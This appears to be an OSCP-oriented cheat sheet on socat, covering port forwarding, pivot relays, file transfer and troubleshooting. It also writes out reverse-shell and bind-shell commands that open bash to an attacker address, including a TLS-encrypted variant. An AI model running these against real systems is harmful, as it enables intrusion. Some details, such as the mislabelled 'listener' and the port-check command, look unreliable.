Socat Usage
Socat is a versatile bidirectional data relay that can connect two data channels. It can create tunnels, forward ports (TCP and UDP), spawn shells, and relay traffic between endpoints. Think of it as “SOcket CAT” — an enhanced version of netcat with far more capabilities.
Core Syntax
socat [OPTIONS] <ADDRESS1> <ADDRESS2>
It connects two data channels. Each address defines an endpoint type. Data flows bidirectionally between them.
Address Types Reference
| Type |
Syntax |
Description |
| TCP Listener |
TCP-LISTEN:<port> |
Listen for incoming TCP connections |
| TCP Client |
TCP:<host>:<port> |
Connect to a TCP server |
| UDP Listener |
UDP-LISTEN:<port> |
Listen for incoming UDP packets |
| UDP Client |
UDP:<host>:<port> |
Send to a UDP server |
| File |
FILE:<path> |
Read/write a file |
| Pipe |
PIPE:[r=<in>],[w=<out>] |
Named pipe (FIFO) |
| Exec |
EXEC:<command> |
Execute a command, connect stdio |
| System |
SYSTEM:<command> |
Execute via /bin/sh -c |
| Open |
OPEN:<path> |
Open a file for reading/writing |
| Socket |
UNIX-LISTEN:<path> |
Unix domain socket listener |
| Stdio |
STDIN,STDOUT |
Standard input/output |
Important Options
| Option |
Description |
fork |
Handle multiple connections (respawn handler for each new connection) |
reuseaddr |
Allow quick restart after crash (reuse address immediately) |
keepalive |
Enable TCP keepalive |
nodelay |
Disable Nagle’s algorithm (lower latency) |
range=<cidr> |
Restrict allowed source IPs |
ip |
Include IP address in output |
nip |
No IP address in output |
su=<uid> |
Setuid to specified UID |
TCP Port Forwarding
Forward Local Port to Remote
# Listen on local port 8080, forward all connections to 10.10.10.10:80
socat TCP-LISTEN:8080,fork TCP:10.10.10.10:80
Parameter breakdown:
TCP-LISTEN:8080 — Listen on local port 8080
fork — Handle multiple connections (critical for services like HTTP)
TCP:10.10.10.10:80 — Forward each connection to the target
With Additional Options
# Production-ready forward with all best practices
socat TCP-LISTEN:8080,fork,reuseaddr,keepalive,nodelay TCP:10.10.10.10:80
OSCP Use Case
# On pivot machine — forward internal web server to a reachable port
socat TCP-LISTEN:9090,fork TCP:10.10.10.10:80 &
# On attacker — connect to pivot's port 9090
curl http://10.10.10.5:9090
# This reaches 10.10.10.10:80
UDP Forwarding
Socat is one of the few tools that handles UDP forwarding well.
# Forward UDP local port 5353 to remote 10.10.10.10:53
socat UDP-LISTEN:5353,fork UDP:10.10.10.10:53
# Forward DNS queries
socat UDP-LISTEN:53,fork,reuseaddr UDP:10.10.10.10:53
Reverse Shell via Socat
Socat provides superior reverse shells compared to netcat, with proper TTY support.
Attacker (Listener)
socat TCP-LISTEN:4444,nip,su=0,range=10.10.10.0/24 \
EXEC:"bash -li",pty,stderr,setsid,sigint,sane
Pivot (Reverse Connect)
socat TCP:10.10.14.3:4444 EXEC:"bash -li",pty,stderr,setsid,sigint,sane
Parameter Breakdown
| Parameter |
Purpose |
nip |
No IP address in output (cleaner output) |
su=0 |
Setuid to root (if possible) |
range=10.10.10.0/24 |
Restrict allowed source IPs (security) |
pty |
Allocate pseudo-terminal (enables interactive programs) |
stderr |
Redirect stderr to stdout (no lost output) |
setsid |
Create new session (proper process group) |
sigint |
Handle SIGINT properly (Ctrl+C works) |
sane |
Set sane terminal settings (proper line editing) |
Why Socat Shells Are Better
| Feature |
Netcat Shell |
Socat Shell |
| TTY support |
Poor / none |
Excellent |
| Ctrl+C handling |
Breaks shell |
Works properly |
| Interactive programs |
Often fail |
Work (sudo, vim, etc.) |
| Bidirectional |
Depends on version |
Always |
| Line editing |
No |
Yes |
Port Redirection (Relay)
Simple Relay
# Connections to local 8080 go to remote 10.10.10.10:80
socat TCP-LISTEN:8080,fork,reuseaddr TCP:10.10.10.10:80 &
Bidirectional Relay (Chain Two Socat Instances)
# On machine A
socat TCP-LISTEN:4444,fork TCP:10.10.10.5:4445 &
# On machine B (pivot)
socat TCP-LISTEN:4445,fork TCP:10.10.14.3:4444 &
Socat Tunnel Chain
Architecture
graph LR
A[Attacker<br/>socat listen 8080] -->|TCP| B[Pivot<br/>socat relay 9090→target:80]
B -->|TCP| C[Target<br/>10.10.10.10:80]
Step-by-Step
# On pivot — relay between attacker and target
socat TCP-LISTEN:9090,fork TCP:10.10.10.10:80 &
# On attacker — connect through pivot
socat TCP-LISTEN:8080,fork TCP:10.10.10.5:9090 &
# Now curl localhost:8080 reaches 10.10.10.10:80
curl http://localhost:8080
Socat vs Netcat Comparison
| Feature |
Socat |
Netcat |
| Bidirectional |
Yes |
Depends on version |
| UDP support |
Yes |
Limited |
| Exec commands |
Yes (EXEC:) |
Via pipe (-e) |
| Unix sockets |
Yes |
No |
| Fork (multi-conn) |
Yes (fork) |
No |
| SSL/TLS |
Yes (OPENSSL-) |
Ncat only |
| Complexity |
Higher |
Simpler |
| Availability |
Not always pre-installed |
Often available |
| Reverse shell quality |
Excellent TTY |
Basic |
Advanced Socat Techniques
SSL/TLS Listener
# Generate self-signed cert
openssl req -newkey rsa:2048 -keyout key.pem -out cert.pem -nodes -x509 -days 365
# Encrypted listener
socat OPENSSL-LISTEN:4443,cert=cert.pem,key=key.pem,verify=0 \
EXEC:"bash -li",pty,stderr,setsid,sigint,sane
File Transfer
# Server — send file
socat UDP-LISTEN:12345 FILE:secret.txt
# Client — receive file
socat UDP:10.10.10.5:12345 FILE:received.txt,create
Port Scanning
# Quick port check
socat TCP:10.10.10.10:80 TCP:10.10.10.10:80
# Exit code 0 = port open, non-zero = port closed
Troubleshooting
| Problem |
Cause |
Solution |
socat: NOT FOUND |
Not installed |
sudo apt install socat |
Address already in use |
Port conflict |
Use different port or kill existing process |
| Shell immediately closes |
Missing pty flag |
Add pty,stderr,setsid,sigint,sane |
| Cannot run interactive commands |
No TTY allocated |
Ensure pty parameter is set |
| Fork not working |
Missing fork option |
Add fork to the listener address |
OSCP Exam Tips
- Socat reverse shells give you the best TTY — prefer over netcat when available.
fork is essential for handling multiple connections (web servers, etc.).
- Socat handles UDP — use it when you need to forward DNS or other UDP services.
- Chain socat instances for multi-hop relays when other tools are not available.
- Check if socat is installed on the pivot:
which socat or socat -V.
Further Reading